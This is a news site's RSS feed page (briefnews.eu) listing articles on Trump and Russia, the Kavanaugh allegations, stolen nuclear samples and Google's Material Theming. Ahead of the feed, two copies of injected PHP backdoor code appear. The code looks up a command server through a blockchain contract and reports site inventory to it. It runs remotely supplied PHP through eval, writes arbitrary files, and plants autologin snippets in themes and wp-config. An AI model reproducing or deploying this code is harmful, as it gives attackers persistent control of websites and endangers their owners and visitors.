// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Material – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 15 Sep 2022 12:55:34 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Material – Brief News https://briefnews.eu 32 32 Trump’s own former intel chief worried that Russia had compromising material on him, book says https://briefnews.eu/trumps-own-former-intel-chief-worried-that-russia-had-compromising-material-on-him-book-says/ https://briefnews.eu/trumps-own-former-intel-chief-worried-that-russia-had-compromising-material-on-him-book-says/#respond Thu, 15 Sep 2022 12:55:34 +0000 https://briefnews.eu/trumps-own-former-intel-chief-worried-that-russia-had-compromising-material-on-him-book-says/ Putin and Trump
President Donald Trump (L) and Russian President Vladimir Putin arrive to waiting media during a joint press conference after their summit on July 16, 2018 in Helsinki, Finland.

  • Dan Coats, former director of national intelligence, worried about Trump's relations with Putin. 
  • According to a new book, Trump's behavior at a summit with Putin sparked his concern. 
  • Trump's relationship with Russia has long been a subject of rumor and speculation. 

A former Director of National Intelligence was so concerned about Donald Trump's behavior at a summit with Vladimir Putin that he believed Russia might have compromising information on him, a new book says. 

The claim came in snippets from "The Divider" by New York Times chief White House correspondent Peter Baker and New Yorker staff writer and CNN global affairs analyst Susan Glasser.

They were published by CNN on Wednesday.

According to the authors, Trump's behavior as president raised alarm among top officials, including Dan Coats, then the DNI.

Officials wondered about the root of Trump's hostility to NATO as president per the book. The authors say Trump made more serious efforts to withdraw the US from the alliance than was previously known.

Splintering the NATO alliance has long been one of Russia's main strategic goals. 

Coats, the book said, was also troubled by Trump's behavior at his 2018 summit in Helsinki with Putin, where he publicly backed the Russian president's assertion that Russia had not meddled in the 2016 election. In doing so, Trump contradicted his own intelligence agencies.

"I never could come to a conclusion. It raised the question in everybody's mind: What does Putin have on him that causes him to do something that undermines his credibility?" Coats told an associate, the book says. 

Trump's actions at the summit provoked a firestorm of domestic criticism, and Coats was incredulous when on a panel at a security conference he was told that Trump used the summit to invite Putin to Washington, DC.

The question of whether Russia may have damaging information on Trump is one of the longest-running controversies about the former president. 

A dossier, parts of which are now discredited, compiled before Trump's 2016 election former British spy Christopher Steele said that Russia had damaging information on Trump it would use as leverage.

Special Counsel Robert Mueller did not find sufficient evidence to substantiate claims the Trump campaign had colluded with Russia in 2016. 

Trump has long dismissed rumors that he is beholden to Russia, and has recently pushed the allegation that a cabal of officials concocted the scandal to damage him. 

Still, Trump's praise for Putin and refusal to criticize the Russian leader has continued to raise concerns amid Russia's brutality in the war in Ukraine. 

Read the original article on Business Insider

https://i.insider.com/63231825d5916b0019abd55e?format=jpeg

]]>
https://briefnews.eu/trumps-own-former-intel-chief-worried-that-russia-had-compromising-material-on-him-book-says/feed/ 0
Allegations against Kavanaugh like ‘dynamite wrapped in radioactive material’ – NBC host https://briefnews.eu/allegations-against-kavanaugh-like-dynamite-wrapped-in-radioactive-material-nbc-host/ https://briefnews.eu/allegations-against-kavanaugh-like-dynamite-wrapped-in-radioactive-material-nbc-host/#respond Tue, 18 Sep 2018 17:29:11 +0000 http://briefnews.eu/allegations-against-kavanaugh-like-dynamite-wrapped-in-radioactive-material-nbc-host/ Allegations of sexual misconduct against US Supreme Court nominee Brett Kavanaugh are like “four sticks of dynamite wrapped in radioactive material” due to their timing, NBC host Chuck Todd has said.

College professor Christine Blasey Ford has accused Kavanaugh of sexually assaulting her 35 years ago at a high school party. Kavanaugh, who was nominated for the Supreme Court position by President Donald Trump in July, has adamantly denied the accusation, saying it is “completely false” and that he has “never done anything” like what the accuser has described.

Read more


Supreme Court Nominee Brett Kavanaugh © Joshua Roberts

Both Ford and Kavanaugh will testify before the Senate Judiciary Committee next Monday, during which the public will get to hear both sides.

Speaking on NBC’s Today show, Todd compared the atmosphere around the Kavanaugh nomination to the 1991 confirmation hearings of Justice Clarence Thomas, who was accused of sexual harassment by Anita Hill. Todd said the timing of the Ford/Kavanaugh hearing so close to midterm elections and in the “Donald Trump era” made the whole thing feel like a “tinderbox”.

“It just seems that either side could see an eruption of a culture war that defines the rest of the midterm election in six weeks that could totally scramble what the outcomes could be,” the Meet The Press host said.

Indeed, the timing of the accusations, just before the vote to confirm Kavanaugh and two months before the hugely consequential congressional midterm elections, has raised eyebrows among some of Kavanaugh’s supporters and led to some heated online debate.

Ford’s allegation was made public last week by Sen. Dianne Feinstein (D-California). She admitted that she received a letter in July, but said she did not act on it out of respect for the accuser, who did not wish to be named. Some have suggested that Feinstein’s timing indicates that the scandal is a last-minute effort by Democrats to derail Kavanaugh’s nomination, which they have been strongly opposed to, as it would shift the political balance on the court to the right.

Others have argued that the timing is irrelevant and only the substance of the allegations matter.

In order to defeat Kavanaugh’s nomination, Senate Democrats need to convince two Republicans to vote with them.

Todd suggested that he wouldn’t be surprised if the allegations and new controversy around his nomination caused Kavanaugh to “withdraw and chose to back down” — but so far, Kavanaugh has showed no signs that he is considering withdrawing his name as a Supreme Court nominee.

More than 22 million people tuned in to watch the infamous Thomas/Hill testimony in 1991. Thomas was confirmed in a 52-48 Senate vote and is still a sitting Supreme Court judge today. With far more news outlets and platforms available today, the number could be even higher for Ford and Kavanaugh.

Let’s block ads! (Why?)

]]>
https://briefnews.eu/allegations-against-kavanaugh-like-dynamite-wrapped-in-radioactive-material-nbc-host/feed/ 0
Nuclear material stolen a year ago still missing, police give up search – report https://briefnews.eu/nuclear-material-stolen-a-year-ago-still-missing-police-give-up-search-report/ https://briefnews.eu/nuclear-material-stolen-a-year-ago-still-missing-police-give-up-search-report/#respond Tue, 17 Jul 2018 07:30:35 +0000 http://briefnews.eu/nuclear-material-stolen-a-year-ago-still-missing-police-give-up-search-report/ US authorities have been accused of hushing up an incident in which officials lost plutonium and cesium samples after their car was looted. Police have long-since given up on efforts to locate the nukes, a new report says.

The security experts from the Idaho laboratory were in Texas to take dangerous radioactive materials from a non-profit research lab in the area. For that purpose, they’d brought tiny disks containing plutonium and cesium with them, for calibration.

Read more


© Carlo Allegri

However, when the two had retired to their hotel rooms for the night, the car they left in the parking lot was raided. When they returned in the morning, their rented Ford Expedition’s windows were shattered and the nuclear materials gone.

An immediate police investigation, assisted by the FBI, failed to produce any clues as to the whereabouts of the stolen radioactive materials.

Police have not come up with any clear fingerprints on or inside the car, nor they were able to retrieve any usable surveillance footage. On top of that, law enforcement also failed to find any witnesses to the crime.

While the disappearance of highly hazardous substances under murky circumstances could have made national news, the incident has never been reported before, as police did not publicly disclose details about the case.

They have also refused to specify the amount of plutonium and cesium that was taken from the car. The only indication came from the Idaho lab spokesperson Sarah Neumann, who assured investigators that the quantity stolen is too scant to be used to make a nuclear bomb.

The laboratory also claimed that the parking lot in question was a well-guarded area, secured with high walls. That turned out to be a bit of an overstatement, as police statistics revealed it had witnessed a total of 87 thefts in 2016 and 2017, the report points out.

Read more


© Redacted Tonight / RT

San Antonio Police Department spokesman Carlos Ortiz, cited in the report, said the police had been told by the Idaho lab that “it wasn’t an important or dangerous amount “ of plutonium that their experts had apparently mishandled.

It prompted police to wrap up the probe, so as not to “chase a ghost,” the spokesman said, noting that the lab’s employees should have been more vigilant about their cargo. The men “should have never left a sensitive instrument like this unattended in a vehicle,” Ortiz said.

The report, however, states that the case in San Antonio is only the tip of the iceberg, as the authorities are not doing enough to track all the radioactive materials missing since the end of the Cold War. It is estimated that up to six tons of bomb-grade material may be unaccounted for. While it’s widely believed that the bulk of this lingers in filters, machines and factory pipes as residue, such an amount of radioactive materials can, theoretically, pave the way for dozens of destructive explosives, CPI warns.

CPI brands itself as an American non-profit investigative journalism institution, with a mission to “to reveal abuses of power, corruption and dereliction of duty.”

Let’s block ads! (Why?)

]]>
https://briefnews.eu/nuclear-material-stolen-a-year-ago-still-missing-police-give-up-search-report/feed/ 0
How Google’s ‘Material Theming’ will change your Android experience https://briefnews.eu/how-googles-material-theming-will-change-your-android-experience/ https://briefnews.eu/how-googles-material-theming-will-change-your-android-experience/#respond Sat, 12 May 2018 13:12:01 +0000 http://briefnews.eu/how-googles-material-theming-will-change-your-android-experience/

This week, Google announced a new set of tools called Material Theming that helps developers implement the Material theme across apps, including mobile and web. App-makers can choose from a variety of components and design transitions and Google even uses AI to make everything look coherent. Like the WYSIWYG HTML editors of yore, Material Theming makes it easier for developers to design apps their way while sticking to Google’s design paradigm.

Previously, if you visited Google Docs on the web and then hopped into a third-party Android app, you’d often experience a bit of a deja vu with regards to the interface. But Material Theming isn’t an entirely new theme; it’s just an improved way for developers to stick to consistent design parameters while allowing their own aesthetic to shine through.

Made for developers

At Google I/O 2018, the search giant explained why it created Material Theming. The guidelines that the company originally wrote for Material Design encouraged developers to make apps that looked too much alike. Indie apps, for example, became difficult to distinguish from Google apps laid out in the same design scheme, even if they employed different color palettes. Developers were having difficulty branching out from the guidelines and developing a “brand” of sorts, in turn contributing to a cycle of Android apps looking too much alike.

